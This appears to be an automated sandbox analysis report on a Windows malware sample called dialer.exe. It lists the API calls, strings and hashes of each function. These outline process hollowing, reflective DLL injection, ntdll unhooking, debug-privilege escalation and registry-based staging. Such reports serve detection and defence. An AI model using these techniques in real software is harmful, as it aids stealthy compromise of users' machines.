D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
ntdll.dll, xrefs: 0000000140002277
svc64, xrefs: 0000000140002452
SeDebugPrivilege, xrefs: 00000001400022C9
SOFTWARE\dialerconfig, xrefs: 0000000140002399
DLL, xrefs: 0000000140002321
pid, xrefs: 000000014000241B
kernel32.dll, xrefs: 0000000140002283

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentResource$FileFindSecurityThread$ChangeDescriptorFreeHandleHeapModuleNotificationOpenProtectTokenValueVirtual$AdjustAllocConvertErrorInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 1970497257-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
FindCloseChangeNotification.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

MSBuild.exe, xrefs: 00000001400011B8
dialer.exe, xrefs: 00000001400011CC
@, xrefs: 0000000140001401
ReflectiveDllMain, xrefs: 000000014000139D

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$Close$Open$FindHandleInformationToken$AllocAuthorityChangeFileLocalNameNotification$CodeCountErrorExitFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2998269048-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
FindCloseChangeNotification.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlRestoreThreadPreferredUILanguages.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$Heap$AllocEnum$BoundaryChangeCloseDeleteDescriptorFindLanguagesMemoryModulesNotificationOpenPreferredProcessesReadRestoreThread
String ID:
API String ID: 2219672174-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
RtlAllocateHeap.NTDLL(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: FindCloseChangeNotification.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$Heap$AllocCloseEnumOpen$AllocateBoundaryChangeDeleteDescriptorFindHandleLanguagesMemoryModulesNotificationPreferredProcessesReadRestoreTerminateThread
String ID:
API String ID: 3158079169-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpi.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
FindCloseChangeNotification.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: File$CloseCreateHandleModuleProtectVirtual$ChangeCurrentFindFreeInformationLibraryMappingNotificationProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 1125510917-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
Sleep.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$ChangeCloseFindNotificationOpenWow64
String ID:
API String ID: 3805842350-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceA.KERNEL32 ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorFindOpenToken$AdjustChangeCloseConvertCreateErrorExitFreeLastLoadLocalLockLookupNotificationPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 2373407002-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

dialerstager, xrefs: 0000000140002694
open, xrefs: 0000000140002960
SOFTWARE, xrefs: 0000000140002675

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitFindHeapName$AllocChangeDeleteEnumHandleInformationModuleNotificationPathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 4281403370-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
